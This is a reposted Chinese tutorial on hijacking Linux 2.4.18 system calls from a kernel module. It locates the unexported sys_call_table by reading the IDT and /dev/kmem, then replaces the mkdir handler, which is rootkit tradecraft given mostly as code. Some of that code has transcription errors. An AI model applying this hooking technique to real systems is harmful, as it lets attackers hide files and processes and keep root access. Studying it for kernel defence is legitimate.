Linux2.4.18核心下的系統調用劫持

來源:互聯網
上載者:User
 註:本文提到的方法和技巧,如有興趣請參考後面提到的兩篇參考文章,雖然比較老了,但是對於本文內容的實現有很大的參考價值。因為篇幅關係,沒有列出完整代碼,但是核心代碼已經全部給出。
Linux 現在使用是越來越多了,因此Linux的安全問題現在也慢慢為更多人所關注。Rootkit是攻擊者用來隱藏蹤跡和保留root存取權限的工具集,在這些 工具當中,基於LKM的rootkit尤其受到關注。這些rootkit可以實現隱藏檔案、隱藏進程、重新導向可執行檔,給linux的安全帶來很大的威 脅,它們所用到的技術主要是系統調用劫持。用LKM技術截獲系統調用的通常步驟如下:
找到需要的系統調用在sys_call_table[]中的入口(參考include/sys/syscall.h) 
儲存sys_call_table[x]的舊入口指標。(x代表所想要截獲的系統調用的索引) 
將自訂的新的函數指標存入sys_call_table[x]
在Linux2.4.18核心以前,可以將sys_call_table匯出來直接使用。因此修改系統調用非常容易,下面看一個例子:
extern void* sys_call_table[];/*sys_call_table被引入,所以可以存取*/ 
int (*orig_mkdir)(const char *path); /*儲存原始系統調用的函數指標*/
int hacked_mkdir(const char *path)
{
return 0; /*一切正常,除了建立操作,該操作什麼也不做*/
}
int init_module(void) /*初始化模組*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void) /*卸載模組*/
{
sys_call_table[SYS_mkdir]=orig_mkdir; /*恢複mkdir系統調用到原來的那個*/
}
在Linux2.4.18核心以後,為瞭解決這個安全問題,sys_call_table不能直接匯出,因此上面這個代碼拿到Linux2.4.18核心之後的核心上去編譯載入,會在載入時報錯。那麼要怎麼樣才能得到sys_call_table,實現系統調用劫持呢?
一.怎麼樣得到sys_call_table的地址
1./dev/kmem
先 看一下來自Linux手冊頁(man kmem)的介紹:“kmem是一個字元裝置檔案,是電腦主存的一個影象。它可以用於測試甚至修改系統。”也就是 說,讀取這個裝置可以得到記憶體中的資料,因此,sys_call_table的地址也可以通過裝置找到。這個裝置通常只有root使用者才有rw許可權,因此 只有root才能實現這些操作。
2.系統調用過程簡述
每一個系統調用都是通過int 0x80中斷進入核心,中斷描述符表把中斷服務程式和中斷向量對應起來。對於系統調用來說,作業系統會調用system_call中斷服務程式。system_call函數在系統調用表中根據系統調用號找到並調用相應的系統調用服務常式。
3.得到sys_call_table地址的過程
idtr 寄存器指向中斷描述符表的起始地址,用sidt[asm ("sidt %0" : "=m" (idtr));]指令得到中斷描述符表起始地址,從這條 指令中得到的指標可以獲得int 0x80中斷服描述符所在位置,然後計算出system_call函數的地址。現在反編譯一下system_call函 數看一下:
$ gdb -q /usr/src/linux/vmlinux
(no debugging symbols found)...(gdb) disass system_call
Dump of assembler code for function system_call:
……
0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys>
0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) 
0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1)
0xc0106bff <system_call+55>: nop
End of assembler dump.
(gdb) print &sys_call_table
$1 = (<data variable, no debug info> *) 0xc01e0f18 
(gdb) x/xw (system_call+44)
0xc0106bf4 <system_call+44>: 0x188514ff <-- 得到機器指令 (little endian)
(gdb)
我 們可以看到在system_call函數內,是用call *0xc01e0f18指令來調用系統調用函數的。因此,只要找到system_call裡的 call sys_call_table(,eax,4)指令的機器指令就可以了。我們使用模式比對的方式來獲得這條機器指令的地址。這樣就必須讀取 /dev/kmem裡面的資料。
二.如何在module裡使用標準系統調用
處理/dev/kmem裡的資料只需要用標準的系統調用就可以了,如:open,lseek,read。
但module裡不能使用標準系統調用。為了在module裡使用標準系統調用,我們要在module裡實現系統調用函數。看看核心原始碼裡的實現吧:
#define __syscall_return(type, res) /
do { /
    if ((unsigned long)(res) >= (unsigned long)(-125)) { /
        errno = -(res); /
        res = -1; /
    } /
    return (type) (res); /
} while (0)
#define _syscall1(type,name,type1,arg1) /
type name(type1 arg1) /
{ /
long __res; /
__asm__ volatile ("int $0x80" /
    : "=a" (__res) /
    : "0" (__NR_##name),"b" ((long)(arg1))); /
__syscall_return(type,__res); /
}
static inline _syscall1(int,close,int,fd)
我們可以學習這樣的方法,這樣只要將這些代碼加入到我們的module的代碼裡面,就可以在module裡使用這些標準系統調用了。
另 外,為了用匹配搜尋的方式尋找sys_call_table的地址,我們可以用memmem函數。不過memmem是GNU C擴充的函數,它的函數原型 是:void *memmem(void *s,int s_len,void *t,int t_len);同樣的,module裡也不能使用庫函數, 但是我們可以自己實現這個函數。
然而在module裡使用標準系統調用還有個問題,系統調用需要的參數要求要在使用者空間而不是在module所在的核心空間。
Linux 使用了段選器來區分核心空間、使用者空間等等。被系統調用所用到的而存放在使用者空間中的參數應該在資料區段選器(所指的)範圍的某個地方。DS能夠用 asm/uaccess.h中的get_ds()函數得到。只要我們把被核心用來指向使用者段的段選器設成所需要的 DS值,我們就能夠在核心中訪問系統調 用所用到的(那些在使用者地址空間中的)那些用做參數值的資料。這可以通過調用set_fs(...)來做到。但要小心,訪問完系統調用的參數後,一定要恢 複FS。下面是一段例子:
filename核心空間;比如說我們剛建立了一個字串
unsigned long old_fs_value=get_fs();
set_fs(get_ds); /*完成之後就可以存取使用者空間了*/
open(filename, O_CREAT|O_RDWR|O_EXCL, 0640);
set_fs(old_fs_value); /*恢複 fs ...*/
三.在module裡實現sys_call_table地址尋找的代碼實現
主要代碼如下:
/*實現系統調用*/
unsigned long errno;
#define __syscall_return(type, res) /
do { /
    if ((unsigned long)(res) >= (unsigned long)(-125)) { /
        errno = -(res); /
        res = -1; /
    } /
    return (type) (res); /
} while (0)
#define _syscall1(type,name,type1,arg1) /
type name(type1 arg1) /
{ /
long __res; /
__asm__ volatile ("int $0x80" /
    : "=a" (__res) /
    : "0" (__NR_##name),"b" ((long)(arg1))); /
__syscall_return(type,__res); /
}
#define _syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) /
type name(type1 arg1,type2 arg2,type3 arg3) /
{ /
long __res; /
__asm__ volatile ("int $0x80" /
    : "=a" (__res) /
    : "0" (__NR_##name),"b" ((long)(arg1)),"c" ((long)(arg2)), /
         "d" ((long)(arg3))); /
__syscall_return(type,__res); /
}
static inline _syscall3(int,write,int,fd,const char *,buf,off_t,count)
static inline _syscall3(int,read,int,fd,char *,buf,off_t,count)
static inline _syscall3(off_t,lseek,int,fd,off_t,offset,int,count)
static inline _syscall3(int,open,const char *,file,int,flag,int,mode)
static inline _syscall1(int,close,int,fd)
/*從這裡以後就可以使用這幾個系統調用了*/

struct {
unsigned short limit;
unsigned int base;
} __attribute__ ((packed)) idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none,flags;
unsigned short off2;
} __attribute__ ((packed)) idt;
int kmem;
void readkmem (void *m,unsigned off,int sz)
{
    mm_segment_t old_fs_value=get_fs();
set_fs(get_ds());    
if (lseek(kmem,off,0)!=off) {
printk("kmem lseek error in read/n"; return;
}
if (read(kmem,m,sz)!=sz) {
printk("kmem read error!/n"; return;
}
    set_fs(old_fs_value);
}
#define CALLOFF 100 /* 我們將讀出int $0x80的頭100個位元組 */
/*得到sys_call_table的地址*/
unsigned getscTable()
{
unsigned sct;
unsigned sys_call_off;
char sc_asm[CALLOFF],*p;
/* 獲得IDTR寄存器的值 */
asm ("sidt %0" : "=m" (idtr));
     mm_segment_t old_fs_value=get_fs(); 
     const char *filename="/dev/kmem";
     set_fs(get_ds()); 
/* 開啟kmem */
kmem = open (filename,O_RDONLY,0640);
if (kmem<0)
     { 
            printk("open error!";
     }
     set_fs(old_fs_value);
/* 從IDT讀出0x80向量 (syscall) */
readkmem (&idt,idtr.base+8*0x80,sizeof(idt));
sys_call_off = (idt.off2 << 16) | idt.off1;
/* 尋找sys_call_table的地址 */
readkmem (sc_asm,sys_call_off,CALLOFF);
p = (char*)mymem (sc_asm,CALLOFF,"/xff/x14/x85",3);
sct = *(unsigned*)(p+3);
     close(kmem);
        return sct;
}
好了,但是上面的函數沒有做足夠的錯誤檢查。
四.劫持系統調用
在得到了sys_call_table的地址後,我們就可以很輕易的劫持系統調用了。
我們把最開始的那個例子修改一下,讓它運行在2.4.18的核心。
系統調用的劫持過程主要代碼如下:
static unsigned SYS_CALL_TABLE_ADDR;
void **sys_call_table;
int init_module(void)
{
SYS_CALL_TABLE_ADDR= getscTable();
    sys_call_table=(void **)SYS_CALL_TABLE_ADDR;
    orig_mkdir=sys_call_table[__NR_mkdir];
    sys_call_table[__NR_mkdir]=hacked_mkdir;
    return 0;    
}
void cleanup_module(void)
{
    sys_call_table[__NR_mkdir]=orig_mkdir;
}
五.綜述
雖然核心2.4.18以後不再匯出sys_call_table,但是我們仍然可以通過讀/dev/kmem裝置檔案得到它的地址,來實現系統調用的劫持。要解決這個問題,最好是使/dev/kmem不可讀,或者乾脆不使用這個裝置檔案。否則,總會給安全帶來隱患。
參考資料:
Phrack58-0x07 Linux on-the-fly kernel patching without LKM 
(nearly) Complete Linux Loadable Kernel Modules -the definitive guide for hackers, virus coders and system administrators- written by pragmatic / THC, version 1.0 released 03/1999

因不能匯出sys_call_table,故可動態載入模組完全指南中需要修改

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.